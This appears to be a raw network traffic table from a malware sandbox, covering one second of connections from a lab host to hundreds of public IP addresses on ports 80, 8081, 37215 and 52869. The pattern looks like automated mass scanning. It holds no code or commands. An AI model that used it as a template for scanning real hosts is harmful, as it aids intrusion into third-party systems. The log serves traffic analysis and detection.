Jul 20, 2024 23:01:01.330107927 CEST	38744	8081	192.168.2.13	168.216.127.173
Jul 20, 2024 23:01:01.331701994 CEST	38840	8081	192.168.2.13	27.254.224.242
Jul 20, 2024 23:01:01.331959963 CEST	59598	37215	192.168.2.13	197.137.132.163
Jul 20, 2024 23:01:01.333024025 CEST	37215	33886	41.157.87.9	192.168.2.13
Jul 20, 2024 23:01:01.333070040 CEST	33886	37215	192.168.2.13	41.157.87.9
Jul 20, 2024 23:01:01.333383083 CEST	52869	54888	216.1.152.81	192.168.2.13
Jul 20, 2024 23:01:01.333424091 CEST	54888	52869	192.168.2.13	216.1.152.81
Jul 20, 2024 23:01:01.335263968 CEST	57966	52869	192.168.2.13	187.123.127.227
Jul 20, 2024 23:01:01.335310936 CEST	8081	38086	27.254.224.242	192.168.2.13
Jul 20, 2024 23:01:01.335320950 CEST	80	57876	88.120.8.20	192.168.2.13
Jul 20, 2024 23:01:01.335367918 CEST	57876	80	192.168.2.13	88.120.8.20
Jul 20, 2024 23:01:01.335812092 CEST	53538	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:01:01.335812092 CEST	53538	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:01:01.335971117 CEST	37284	37215	192.168.2.13	14.117.126.33
Jul 20, 2024 23:01:01.336371899 CEST	45212	80	192.168.2.13	88.132.15.37
Jul 20, 2024 23:01:01.336544991 CEST	52869	44894	210.242.150.143	192.168.2.13
Jul 20, 2024 23:01:01.336848021 CEST	8081	57784	47.100.149.89	192.168.2.13
Jul 20, 2024 23:01:01.337332010 CEST	8081	38840	27.254.224.242	192.168.2.13
Jul 20, 2024 23:01:01.337373018 CEST	38840	8081	192.168.2.13	27.254.224.242
Jul 20, 2024 23:01:01.337697029 CEST	37215	59598	197.137.132.163	192.168.2.13
Jul 20, 2024 23:01:01.337867975 CEST	59598	37215	192.168.2.13	197.137.132.163
Jul 20, 2024 23:01:01.338705063 CEST	80	33598	88.92.241.198	192.168.2.13
Jul 20, 2024 23:01:01.338776112 CEST	54296	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:01:01.339268923 CEST	37215	41164	41.204.18.19	192.168.2.13
Jul 20, 2024 23:01:01.339884043 CEST	47232	37215	192.168.2.13	157.38.182.214
Jul 20, 2024 23:01:01.340316057 CEST	55180	80	192.168.2.13	88.253.118.70
Jul 20, 2024 23:01:01.340329885 CEST	49334	80	192.168.2.13	88.221.47.36
Jul 20, 2024 23:01:01.340339899 CEST	41666	80	192.168.2.13	88.39.169.246
Jul 20, 2024 23:01:01.340401888 CEST	50568	80	192.168.2.13	88.37.215.43
Jul 20, 2024 23:01:01.340447903 CEST	50568	80	192.168.2.13	88.162.234.65
Jul 20, 2024 23:01:01.340467930 CEST	50568	80	192.168.2.13	88.52.77.148
Jul 20, 2024 23:01:01.340540886 CEST	50568	80	192.168.2.13	88.131.254.101
Jul 20, 2024 23:01:01.340612888 CEST	50568	80	192.168.2.13	88.177.51.4
Jul 20, 2024 23:01:01.340630054 CEST	50568	80	192.168.2.13	88.122.173.54
Jul 20, 2024 23:01:01.340630054 CEST	50568	80	192.168.2.13	88.53.99.157
Jul 20, 2024 23:01:01.340630054 CEST	50568	80	192.168.2.13	88.107.93.39
Jul 20, 2024 23:01:01.340641022 CEST	50568	80	192.168.2.13	88.23.96.125
Jul 20, 2024 23:01:01.340775013 CEST	50568	80	192.168.2.13	88.65.11.36
Jul 20, 2024 23:01:01.340867996 CEST	50568	80	192.168.2.13	88.113.230.135
Jul 20, 2024 23:01:01.340867996 CEST	50568	80	192.168.2.13	88.86.32.30
Jul 20, 2024 23:01:01.340989113 CEST	50568	80	192.168.2.13	88.106.47.82
Jul 20, 2024 23:01:01.340989113 CEST	50568	80	192.168.2.13	88.16.82.159
Jul 20, 2024 23:01:01.340990067 CEST	50568	80	192.168.2.13	88.11.63.182
Jul 20, 2024 23:01:01.340990067 CEST	50568	80	192.168.2.13	88.171.166.169
Jul 20, 2024 23:01:01.340990067 CEST	50568	80	192.168.2.13	88.19.10.120
Jul 20, 2024 23:01:01.341150999 CEST	50568	80	192.168.2.13	88.145.91.106
Jul 20, 2024 23:01:01.341170073 CEST	50568	80	192.168.2.13	88.115.6.171
Jul 20, 2024 23:01:01.341170073 CEST	50568	80	192.168.2.13	88.129.60.113
Jul 20, 2024 23:01:01.341170073 CEST	50568	80	192.168.2.13	88.134.234.156
Jul 20, 2024 23:01:01.341170073 CEST	50568	80	192.168.2.13	88.110.2.0
Jul 20, 2024 23:01:01.341253996 CEST	50568	80	192.168.2.13	88.111.75.130
Jul 20, 2024 23:01:01.341427088 CEST	50568	80	192.168.2.13	88.166.212.37
Jul 20, 2024 23:01:01.341886997 CEST	50568	80	192.168.2.13	88.18.111.230
Jul 20, 2024 23:01:01.341886997 CEST	50568	80	192.168.2.13	88.173.125.97
Jul 20, 2024 23:01:01.341886997 CEST	50568	80	192.168.2.13	88.13.173.238
Jul 20, 2024 23:01:01.341886997 CEST	50568	80	192.168.2.13	88.217.230.210
Jul 20, 2024 23:01:01.341887951 CEST	50568	80	192.168.2.13	88.3.12.187
Jul 20, 2024 23:01:01.342120886 CEST	50568	80	192.168.2.13	88.56.109.160
Jul 20, 2024 23:01:01.342273951 CEST	50568	80	192.168.2.13	88.225.57.234
Jul 20, 2024 23:01:01.342273951 CEST	50568	80	192.168.2.13	88.200.165.99
Jul 20, 2024 23:01:01.342273951 CEST	50568	80	192.168.2.13	88.250.242.211
Jul 20, 2024 23:01:01.342273951 CEST	50568	80	192.168.2.13	88.119.181.139
Jul 20, 2024 23:01:01.342273951 CEST	50568	80	192.168.2.13	88.59.134.116
Jul 20, 2024 23:01:01.342273951 CEST	50568	80	192.168.2.13	88.147.159.255
Jul 20, 2024 23:01:01.342273951 CEST	50568	80	192.168.2.13	88.160.230.39
Jul 20, 2024 23:01:01.342273951 CEST	50568	80	192.168.2.13	88.77.24.164
Jul 20, 2024 23:01:01.342308044 CEST	50568	80	192.168.2.13	88.73.98.189
Jul 20, 2024 23:01:01.342308044 CEST	50568	80	192.168.2.13	88.173.196.131
Jul 20, 2024 23:01:01.342308044 CEST	50568	80	192.168.2.13	88.77.111.84
Jul 20, 2024 23:01:01.342308044 CEST	50568	80	192.168.2.13	88.215.247.120
Jul 20, 2024 23:01:01.342308044 CEST	50568	80	192.168.2.13	88.148.127.69
Jul 20, 2024 23:01:01.342308044 CEST	50568	80	192.168.2.13	88.149.71.126
Jul 20, 2024 23:01:01.342308044 CEST	50568	80	192.168.2.13	88.176.230.44
Jul 20, 2024 23:01:01.342308044 CEST	50568	80	192.168.2.13	88.134.117.202
Jul 20, 2024 23:01:01.342931986 CEST	50568	80	192.168.2.13	88.124.243.190
Jul 20, 2024 23:01:01.342931986 CEST	50568	80	192.168.2.13	88.198.140.170
Jul 20, 2024 23:01:01.342931986 CEST	50568	80	192.168.2.13	88.61.25.64
Jul 20, 2024 23:01:01.342931986 CEST	50568	80	192.168.2.13	88.52.158.152
Jul 20, 2024 23:01:01.342932940 CEST	50568	80	192.168.2.13	88.52.236.122
Jul 20, 2024 23:01:01.343221903 CEST	50568	80	192.168.2.13	88.176.24.73
Jul 20, 2024 23:01:01.343221903 CEST	50568	80	192.168.2.13	88.187.16.210
Jul 20, 2024 23:01:01.343221903 CEST	50568	80	192.168.2.13	88.63.196.192
Jul 20, 2024 23:01:01.343221903 CEST	50568	80	192.168.2.13	88.99.95.71
Jul 20, 2024 23:01:01.343221903 CEST	50568	80	192.168.2.13	88.199.67.197
Jul 20, 2024 23:01:01.343221903 CEST	50568	80	192.168.2.13	88.235.251.226
Jul 20, 2024 23:01:01.345468044 CEST	50568	80	192.168.2.13	88.124.65.148
Jul 20, 2024 23:01:01.345468044 CEST	50568	80	192.168.2.13	88.160.96.62
Jul 20, 2024 23:01:01.345468044 CEST	50568	80	192.168.2.13	88.58.91.164
Jul 20, 2024 23:01:01.345468044 CEST	50568	80	192.168.2.13	88.123.78.143
Jul 20, 2024 23:01:01.345592022 CEST	50568	80	192.168.2.13	88.30.91.211
Jul 20, 2024 23:01:01.345592022 CEST	50568	80	192.168.2.13	88.109.35.205
Jul 20, 2024 23:01:01.345592022 CEST	50568	80	192.168.2.13	88.49.82.108
Jul 20, 2024 23:01:01.345592022 CEST	50568	80	192.168.2.13	88.227.136.233
Jul 20, 2024 23:01:01.345592022 CEST	50568	80	192.168.2.13	88.211.222.142
Jul 20, 2024 23:01:01.345592022 CEST	50568	80	192.168.2.13	88.37.102.249
Jul 20, 2024 23:01:01.345592022 CEST	50568	80	192.168.2.13	88.18.234.49
Jul 20, 2024 23:01:01.345592022 CEST	50568	80	192.168.2.13	88.71.10.217
Jul 20, 2024 23:01:01.346045971 CEST	50568	80	192.168.2.13	88.224.29.121
Jul 20, 2024 23:01:01.346045971 CEST	50568	80	192.168.2.13	88.44.170.245
Jul 20, 2024 23:01:01.346045971 CEST	50568	80	192.168.2.13	88.32.75.97
Jul 20, 2024 23:01:01.346045971 CEST	50568	80	192.168.2.13	88.14.123.13
Jul 20, 2024 23:01:01.346045971 CEST	50568	80	192.168.2.13	88.35.137.159
Jul 20, 2024 23:01:01.346045971 CEST	33436	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:01:01.346045971 CEST	33436	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:01:01.346045971 CEST	41164	37215	192.168.2.13	41.204.18.19
Jul 20, 2024 23:01:01.346497059 CEST	50568	80	192.168.2.13	88.222.83.51
Jul 20, 2024 23:01:01.346497059 CEST	50568	80	192.168.2.13	88.170.249.226
Jul 20, 2024 23:01:01.346497059 CEST	50568	80	192.168.2.13	88.40.78.18
Jul 20, 2024 23:01:01.346497059 CEST	50568	80	192.168.2.13	88.176.237.0
Jul 20, 2024 23:01:01.346497059 CEST	50568	80	192.168.2.13	88.98.97.12
Jul 20, 2024 23:01:01.346497059 CEST	50568	80	192.168.2.13	88.48.130.15
Jul 20, 2024 23:01:01.346498013 CEST	50568	80	192.168.2.13	88.147.20.31
Jul 20, 2024 23:01:01.346498013 CEST	50568	80	192.168.2.13	88.159.48.5
Jul 20, 2024 23:01:01.348378897 CEST	50568	80	192.168.2.13	88.200.217.44
Jul 20, 2024 23:01:01.348378897 CEST	50568	80	192.168.2.13	88.231.13.245
Jul 20, 2024 23:01:01.348378897 CEST	50568	80	192.168.2.13	88.127.70.174
Jul 20, 2024 23:01:01.348378897 CEST	50568	80	192.168.2.13	88.33.38.169
Jul 20, 2024 23:01:01.348380089 CEST	50568	80	192.168.2.13	88.184.94.156
Jul 20, 2024 23:01:01.348747969 CEST	50568	80	192.168.2.13	88.2.167.38
Jul 20, 2024 23:01:01.348747969 CEST	50568	80	192.168.2.13	88.159.243.52
Jul 20, 2024 23:01:01.348747969 CEST	50568	80	192.168.2.13	88.1.214.149
Jul 20, 2024 23:01:01.348748922 CEST	50568	80	192.168.2.13	88.133.108.2
Jul 20, 2024 23:01:01.348748922 CEST	50568	80	192.168.2.13	88.41.110.95
Jul 20, 2024 23:01:01.348748922 CEST	50568	80	192.168.2.13	88.79.128.133
Jul 20, 2024 23:01:01.348748922 CEST	50568	80	192.168.2.13	88.205.9.43
Jul 20, 2024 23:01:01.348748922 CEST	50568	80	192.168.2.13	88.160.134.195
Jul 20, 2024 23:01:01.350056887 CEST	50568	80	192.168.2.13	88.222.247.200
Jul 20, 2024 23:01:01.350056887 CEST	50568	80	192.168.2.13	88.23.118.125
Jul 20, 2024 23:01:01.350056887 CEST	50568	80	192.168.2.13	88.135.182.220
Jul 20, 2024 23:01:01.350058079 CEST	50568	80	192.168.2.13	88.79.163.144
Jul 20, 2024 23:01:01.350058079 CEST	50568	80	192.168.2.13	88.39.202.60
Jul 20, 2024 23:01:01.350058079 CEST	50568	80	192.168.2.13	88.248.47.172
Jul 20, 2024 23:01:01.350058079 CEST	50568	80	192.168.2.13	88.72.68.177
Jul 20, 2024 23:01:01.350058079 CEST	50568	80	192.168.2.13	88.71.6.191
Jul 20, 2024 23:01:01.352288008 CEST	50568	80	192.168.2.13	88.99.202.119
Jul 20, 2024 23:01:01.352288008 CEST	50568	80	192.168.2.13	88.230.97.77
Jul 20, 2024 23:01:01.352288008 CEST	50568	80	192.168.2.13	88.50.108.108
Jul 20, 2024 23:01:01.352288008 CEST	50568	80	192.168.2.13	88.90.236.152
Jul 20, 2024 23:01:01.352288008 CEST	50568	80	192.168.2.13	88.142.146.148
Jul 20, 2024 23:01:01.352288961 CEST	50568	80	192.168.2.13	88.16.204.48
Jul 20, 2024 23:01:01.352288961 CEST	50568	80	192.168.2.13	88.43.203.49
Jul 20, 2024 23:01:01.352288961 CEST	50568	80	192.168.2.13	88.72.242.68
Jul 20, 2024 23:01:01.353212118 CEST	50568	80	192.168.2.13	88.148.130.25
Jul 20, 2024 23:01:01.353212118 CEST	50568	80	192.168.2.13	88.238.80.253
Jul 20, 2024 23:01:01.353212118 CEST	50568	80	192.168.2.13	88.114.154.62
Jul 20, 2024 23:01:01.353212118 CEST	50568	80	192.168.2.13	88.17.212.234
Jul 20, 2024 23:01:01.353212118 CEST	50568	80	192.168.2.13	88.132.109.176
Jul 20, 2024 23:01:01.353212118 CEST	50568	80	192.168.2.13	88.35.93.102
Jul 20, 2024 23:01:01.353212118 CEST	50568	80	192.168.2.13	88.107.128.193
Jul 20, 2024 23:01:01.353212118 CEST	50568	80	192.168.2.13	88.60.175.151
Jul 20, 2024 23:01:01.353394032 CEST	37536	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:01:01.353394032 CEST	37536	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:01:01.355498075 CEST	50568	80	192.168.2.13	88.252.126.233
Jul 20, 2024 23:01:01.355498075 CEST	50568	80	192.168.2.13	88.14.101.119
Jul 20, 2024 23:01:01.355498075 CEST	50568	80	192.168.2.13	88.181.105.45
Jul 20, 2024 23:01:01.355498075 CEST	50568	80	192.168.2.13	88.96.60.203
Jul 20, 2024 23:01:01.355498075 CEST	50568	80	192.168.2.13	88.117.96.189
Jul 20, 2024 23:01:01.355498075 CEST	50568	80	192.168.2.13	88.16.106.241
Jul 20, 2024 23:01:01.355498075 CEST	50568	80	192.168.2.13	88.78.160.94
Jul 20, 2024 23:01:01.355498075 CEST	50568	80	192.168.2.13	88.221.147.210
Jul 20, 2024 23:01:01.356395006 CEST	50568	80	192.168.2.13	88.20.76.156
Jul 20, 2024 23:01:01.356395006 CEST	50568	80	192.168.2.13	88.234.25.54
Jul 20, 2024 23:01:01.356395006 CEST	50568	80	192.168.2.13	88.162.171.219
Jul 20, 2024 23:01:01.356395006 CEST	50568	80	192.168.2.13	88.136.17.243
Jul 20, 2024 23:01:01.356395006 CEST	50568	80	192.168.2.13	88.57.248.161
Jul 20, 2024 23:01:01.356395006 CEST	50568	80	192.168.2.13	88.185.234.3
Jul 20, 2024 23:01:01.356395006 CEST	50568	80	192.168.2.13	88.141.231.24
Jul 20, 2024 23:01:01.356395006 CEST	50568	80	192.168.2.13	88.83.29.237
Jul 20, 2024 23:01:01.357060909 CEST	51950	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:01:01.357060909 CEST	51950	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:01:01.357696056 CEST	50568	80	192.168.2.13	88.247.160.148
Jul 20, 2024 23:01:01.357696056 CEST	50568	80	192.168.2.13	88.58.212.9
Jul 20, 2024 23:01:01.357696056 CEST	50568	80	192.168.2.13	88.54.170.26
Jul 20, 2024 23:01:01.357697010 CEST	50568	80	192.168.2.13	88.36.176.231
Jul 20, 2024 23:01:01.357697010 CEST	50568	80	192.168.2.13	88.218.31.25
Jul 20, 2024 23:01:01.357697010 CEST	50568	80	192.168.2.13	88.195.43.241
Jul 20, 2024 23:01:01.357697010 CEST	50568	80	192.168.2.13	88.149.24.247
Jul 20, 2024 23:01:01.357697010 CEST	50568	80	192.168.2.13	88.142.16.152
Jul 20, 2024 23:01:01.359371901 CEST	52664	80	192.168.2.13	88.74.83.5
Jul 20, 2024 23:01:01.359565973 CEST	50568	80	192.168.2.13	88.79.27.3
Jul 20, 2024 23:01:01.359565973 CEST	50568	80	192.168.2.13	88.67.227.175
Jul 20, 2024 23:01:01.359565973 CEST	50568	80	192.168.2.13	88.208.167.130
Jul 20, 2024 23:01:01.359565973 CEST	50568	80	192.168.2.13	88.118.154.238
Jul 20, 2024 23:01:01.359565973 CEST	50568	80	192.168.2.13	88.130.226.24
Jul 20, 2024 23:01:01.359565973 CEST	50568	80	192.168.2.13	88.127.25.185
Jul 20, 2024 23:01:01.359565973 CEST	44894	52869	192.168.2.13	210.242.150.143
Jul 20, 2024 23:01:01.359565973 CEST	38386	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:01:01.360266924 CEST	43962	37215	192.168.2.13	197.250.181.100
Jul 20, 2024 23:01:01.360266924 CEST	53538	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:01:01.360266924 CEST	53848	37215	192.168.2.13	41.170.121.130
Jul 20, 2024 23:01:01.360635042 CEST	50568	80	192.168.2.13	88.200.67.117
Jul 20, 2024 23:01:01.360635042 CEST	40854	52869	192.168.2.13	89.84.130.3
Jul 20, 2024 23:01:01.363154888 CEST	50568	80	192.168.2.13	88.194.252.37
Jul 20, 2024 23:01:01.363156080 CEST	50568	80	192.168.2.13	88.195.192.254
Jul 20, 2024 23:01:01.363156080 CEST	50568	80	192.168.2.13	88.37.207.160
Jul 20, 2024 23:01:01.363156080 CEST	50568	80	192.168.2.13	88.143.157.188
Jul 20, 2024 23:01:01.363156080 CEST	50568	80	192.168.2.13	88.207.174.121
Jul 20, 2024 23:01:01.363156080 CEST	50568	80	192.168.2.13	88.150.149.167
Jul 20, 2024 23:01:01.363156080 CEST	50568	80	192.168.2.13	88.162.151.46
Jul 20, 2024 23:01:01.363156080 CEST	50568	80	192.168.2.13	88.87.3.235
Jul 20, 2024 23:01:01.363430023 CEST	58788	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:01:01.363430023 CEST	58788	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:01:01.363430023 CEST	51014	8081	192.168.2.13	105.250.179.123
Jul 20, 2024 23:01:01.363430023 CEST	51014	8081	192.168.2.13	105.250.179.123
Jul 20, 2024 23:01:01.363661051 CEST	50568	80	192.168.2.13	88.171.164.131
Jul 20, 2024 23:01:01.363661051 CEST	50568	80	192.168.2.13	88.10.72.167
Jul 20, 2024 23:01:01.363661051 CEST	52830	52869	192.168.2.13	83.59.61.36
Jul 20, 2024 23:01:01.363661051 CEST	33936	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:01:01.363661051 CEST	33936	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:01:01.363661051 CEST	36066	37215	192.168.2.13	41.190.198.11
Jul 20, 2024 23:01:01.363661051 CEST	57144	8081	192.168.2.13	141.23.130.76
Jul 20, 2024 23:01:01.364947081 CEST	51782	8081	192.168.2.13	105.250.179.123
Jul 20, 2024 23:01:01.366625071 CEST	42722	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:01:01.366626024 CEST	42722	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:01:01.367078066 CEST	38386	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:01:01.367078066 CEST	34154	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:01:01.367078066 CEST	39150	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:01:01.367078066 CEST	34652	80	192.168.2.13	88.194.165.251
Jul 20, 2024 23:01:01.367078066 CEST	56376	8081	192.168.2.13	141.23.130.76
Jul 20, 2024 23:01:01.367079020 CEST	56376	8081	192.168.2.13	141.23.130.76
Jul 20, 2024 23:01:01.367454052 CEST	33598	80	192.168.2.13	88.92.241.198
Jul 20, 2024 23:01:01.367454052 CEST	38300	8081	192.168.2.13	1.190.106.28
Jul 20, 2024 23:01:01.367454052 CEST	34744	52869	192.168.2.13	72.60.254.31
Jul 20, 2024 23:01:01.367971897 CEST	43562	8081	192.168.2.13	135.188.25.100
Jul 20, 2024 23:01:01.367971897 CEST	43562	8081	192.168.2.13	135.188.25.100
Jul 20, 2024 23:01:01.368401051 CEST	33436	80	192.168.2.13	88.180.99.105
Jul 20, 2024 23:01:01.368609905 CEST	8081	47182	201.57.117.31	192.168.2.13
Jul 20, 2024 23:01:01.368628979 CEST	37215	33886	41.157.87.9	192.168.2.13
Jul 20, 2024 23:01:01.368647099 CEST	52869	54888	216.1.152.81	192.168.2.13
Jul 20, 2024 23:01:01.368654966 CEST	8081	39360	90.87.93.139	192.168.2.13
Jul 20, 2024 23:01:01.368742943 CEST	8081	39818	109.42.180.137	192.168.2.13
Jul 20, 2024 23:01:01.368751049 CEST	8081	54064	108.34.97.187	192.168.2.13
Jul 20, 2024 23:01:01.368783951 CEST	52869	57966	187.123.127.227	192.168.2.13
Jul 20, 2024 23:01:01.368824959 CEST	57966	52869	192.168.2.13	187.123.127.227
Jul 20, 2024 23:01:01.368913889 CEST	8081	53538	179.192.54.138	192.168.2.13
Jul 20, 2024 23:01:01.368922949 CEST	37215	37284	14.117.126.33	192.168.2.13
Jul 20, 2024 23:01:01.368933916 CEST	80	45212	88.132.15.37	192.168.2.13
Jul 20, 2024 23:01:01.368968964 CEST	45212	80	192.168.2.13	88.132.15.37
Jul 20, 2024 23:01:01.369102955 CEST	37284	37215	192.168.2.13	14.117.126.33
Jul 20, 2024 23:01:01.369391918 CEST	59498	80	192.168.2.13	88.196.158.1
Jul 20, 2024 23:01:01.369391918 CEST	52570	37215	192.168.2.13	14.89.47.143
Jul 20, 2024 23:01:01.369391918 CEST	38386	8081	192.168.2.13	120.212.148.136
Jul 20, 2024 23:01:01.370158911 CEST	43430	80	192.168.2.13	88.2.59.118
Jul 20, 2024 23:01:01.370570898 CEST	37176	37215	192.168.2.13	41.119.197.216
Jul 20, 2024 23:01:01.370985985 CEST	44334	8081	192.168.2.13	135.188.25.100
Jul 20, 2024 23:01:01.372045994 CEST	8081	37994	168.216.127.173	192.168.2.13
Jul 20, 2024 23:01:01.372410059 CEST	54888	52869	192.168.2.13	216.1.152.81
Jul 20, 2024 23:01:01.372410059 CEST	33886	37215	192.168.2.13	41.157.87.9
Jul 20, 2024 23:01:01.372764111 CEST	50570	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:01:01.372764111 CEST	50570	80	192.168.2.13	88.65.22.95
Jul 20, 2024 23:01:01.372935057 CEST	8081	54296	179.192.54.138	192.168.2.13
Jul 20, 2024 23:01:01.372950077 CEST	37215	47232	157.38.182.214	192.168.2.13
Jul 20, 2024 23:01:01.372968912 CEST	80	50568	88.162.234.65	192.168.2.13
Jul 20, 2024 23:01:01.372972965 CEST	54296	8081	192.168.2.13	179.192.54.138
Jul 20, 2024 23:01:01.372977972 CEST	80	50568	88.37.215.43	192.168.2.13
Jul 20, 2024 23:01:01.372986078 CEST	47232	37215	192.168.2.13	157.38.182.214
Jul 20, 2024 23:01:01.373003006 CEST	50568	80	192.168.2.13	88.37.215.43
Jul 20, 2024 23:01:01.373009920 CEST	50568	80	192.168.2.13	88.162.234.65
Jul 20, 2024 23:01:01.373965979 CEST	80	50568	88.52.77.148	192.168.2.13
Jul 20, 2024 23:01:01.373976946 CEST	80	50568	88.113.230.135	192.168.2.13
Jul 20, 2024 23:01:01.373991013 CEST	80	50568	88.131.254.101	192.168.2.13
Jul 20, 2024 23:01:01.374000072 CEST	80	50568	88.86.32.30	192.168.2.13
Jul 20, 2024 23:01:01.374008894 CEST	80	50568	88.115.6.171	192.168.2.13
Jul 20, 2024 23:01:01.374008894 CEST	50568	80	192.168.2.13	88.52.77.148
Jul 20, 2024 23:01:01.374011993 CEST	50568	80	192.168.2.13	88.113.230.135
Jul 20, 2024 23:01:01.374017000 CEST	80	50568	88.145.91.106	192.168.2.13
Jul 20, 2024 23:01:01.374022007 CEST	50568	80	192.168.2.13	88.131.254.101
Jul 20, 2024 23:01:01.374027014 CEST	80	50568	88.129.60.113	192.168.2.13
Jul 20, 2024 23:01:01.374119997 CEST	80	50568	88.177.51.4	192.168.2.13
Jul 20, 2024 23:01:01.374129057 CEST	80	50568	88.111.75.130	192.168.2.13
Jul 20, 2024 23:01:01.374140978 CEST	80	50568	88.166.212.37	192.168.2.13
Jul 20, 2024 23:01:01.374152899 CEST	80	50568	88.106.47.82	192.168.2.13
Jul 20, 2024 23:01:01.374156952 CEST	50568	80	192.168.2.13	88.177.51.4
Jul 20, 2024 23:01:01.374188900 CEST	50568	80	192.168.2.13	88.106.47.82
Jul 20, 2024 23:01:01.374279022 CEST	50568	80	192.168.2.13	88.115.6.171
Jul 20, 2024 23:01:01.374279022 CEST	50568	80	192.168.2.13	88.129.60.113
Jul 20, 2024 23:01:01.374295950 CEST	50568	80	192.168.2.13	88.145.91.106
Jul 20, 2024 23:01:01.374295950 CEST	50568	80	192.168.2.13	88.166.212.37
Jul 20, 2024 23:01:01.374624014 CEST	80	50568	88.23.96.125	192.168.2.13
Jul 20, 2024 23:01:01.374633074 CEST	80	50568	88.122.173.54	192.168.2.13
Jul 20, 2024 23:01:01.374643087 CEST	80	50568	88.134.234.156	192.168.2.13
Jul 20, 2024 23:01:01.374651909 CEST	80	50568	88.16.82.159	192.168.2.13
Jul 20, 2024 23:01:01.374660015 CEST	80	50568	88.56.109.160	192.168.2.13
Jul 20, 2024 23:01:01.374665022 CEST	50568	80	192.168.2.13	88.23.96.125
Jul 20, 2024 23:01:01.374666929 CEST	50568	80	192.168.2.13	88.122.173.54
Jul 20, 2024 23:01:01.374669075 CEST	80	50568	88.11.63.182	192.168.2.13
Jul 20, 2024 23:01:01.374674082 CEST	50568	80	192.168.2.13	88.16.82.159
Jul 20, 2024 23:01:01.374677896 CEST	80	50568	88.124.243.190	192.168.2.13
Jul 20, 2024 23:01:01.374686956 CEST	80	50568	88.110.2.0	192.168.2.13
Jul 20, 2024 23:01:01.374695063 CEST	80	50568	88.18.111.230	192.168.2.13
Jul 20, 2024 23:01:01.374702930 CEST	80	50568	88.171.166.169	192.168.2.13
Jul 20, 2024 23:01:01.374711990 CEST	80	50568	88.225.57.234	192.168.2.13
Jul 20, 2024 23:01:01.374721050 CEST	80	50568	88.73.98.189	192.168.2.13
Jul 20, 2024 23:01:01.374730110 CEST	80	50568	88.173.125.97	192.168.2.13
Jul 20, 2024 23:01:01.374749899 CEST	50568	80	192.168.2.13	88.225.57.234
Jul 20, 2024 23:01:01.374777079 CEST	80	50568	88.198.140.170	192.168.2.13
Jul 20, 2024 23:01:01.374785900 CEST	80	50568	88.13.173.238	192.168.2.13
Jul 20, 2024 23:01:01.374798059 CEST	80	50568	88.173.196.131	192.168.2.13
Jul 20, 2024 23:01:01.374809980 CEST	80	50568	88.200.165.99	192.168.2.13
Jul 20, 2024 23:01:01.374819040 CEST	80	50568	88.53.99.157	192.168.2.13
Jul 20, 2024 23:01:01.374826908 CEST	80	50568	88.250.242.211	192.168.2.13
Jul 20, 2024 23:01:01.374835968 CEST	80	50568	88.77.111.84	192.168.2.13
Jul 20, 2024 23:01:01.374845028 CEST	80	50568	88.119.181.139	192.168.2.13
Jul 20, 2024 23:01:01.374852896 CEST	80	50568	88.176.24.73	192.168.2.13
Jul 20, 2024 23:01:01.374862909 CEST	80	50568	88.217.230.210	192.168.2.13
Jul 20, 2024 23:01:01.374876022 CEST	80	50568	88.61.25.64	192.168.2.13
Jul 20, 2024 23:01:01.374883890 CEST	80	50568	88.3.12.187	192.168.2.13
Jul 20, 2024 23:01:01.374891996 CEST	80	50568	88.19.10.120	192.168.2.13
Jul 20, 2024 23:01:01.374942064 CEST	80	50568	88.52.158.152	192.168.2.13
Jul 20, 2024 23:01:01.375009060 CEST	50568	80	192.168.2.13	88.11.63.182
Jul 20, 2024 23:01:01.375009060 CEST	50568	80	192.168.2.13	88.171.166.169
Jul 20, 2024 23:01:01.375009060 CEST	50568	80	192.168.2.13	88.19.10.120
Jul 20, 2024 23:01:01.375130892 CEST	50568	80	192.168.2.13	88.86.32.30
Jul 20, 2024 23:01:01.375130892 CEST	50568	80	192.168.2.13	88.111.75.130
Jul 20, 2024 23:01:01.375130892 CEST	50568	80	192.168.2.13	88.18.111.230
Jul 20, 2024 23:01:01.375130892 CEST	50568	80	192.168.2.13	88.173.125.97
Jul 20, 2024 23:01:01.375130892 CEST	50568	80	192.168.2.13	88.13.173.238
Jul 20, 2024 23:01:01.375130892 CEST	50568	80	192.168.2.13	88.217.230.210
Jul 20, 2024 23:01:01.375130892 CEST	50568	80	192.168.2.13	88.3.12.187
Jul 20, 2024 23:01:01.375243902 CEST	50568	80	192.168.2.13	88.134.234.156
Jul 20, 2024 23:01:01.375243902 CEST	50568	80	192.168.2.13	88.110.2.0
Jul 20, 2024 23:01:01.375243902 CEST	50568	80	192.168.2.13	88.176.24.73
Jul 20, 2024 23:01:01.375804901 CEST	50568	80	192.168.2.13	88.200.165.99
Jul 20, 2024 23:01:01.375806093 CEST	50568	80	192.168.2.13	88.250.242.211
Jul 20, 2024 23:01:01.375806093 CEST	50568	80	192.168.2.13	88.119.181.139
Jul 20, 2024 23:01:01.376125097 CEST	80	50568	88.187.16.210	192.168.2.13
Jul 20, 2024 23:01:01.376135111 CEST	80	50568	88.124.65.148	192.168.2.13
Jul 20, 2024 23:01:01.376143932 CEST	80	50568	88.63.196.192	192.168.2.13
Jul 20, 2024 23:01:01.376152039 CEST	80	50568	88.52.236.122	192.168.2.13
Jul 20, 2024 23:01:01.376161098 CEST	80	50568	88.30.91.211	192.168.2.13
Jul 20, 2024 23:01:01.376168966 CEST	80	50568	88.107.93.39	192.168.2.13
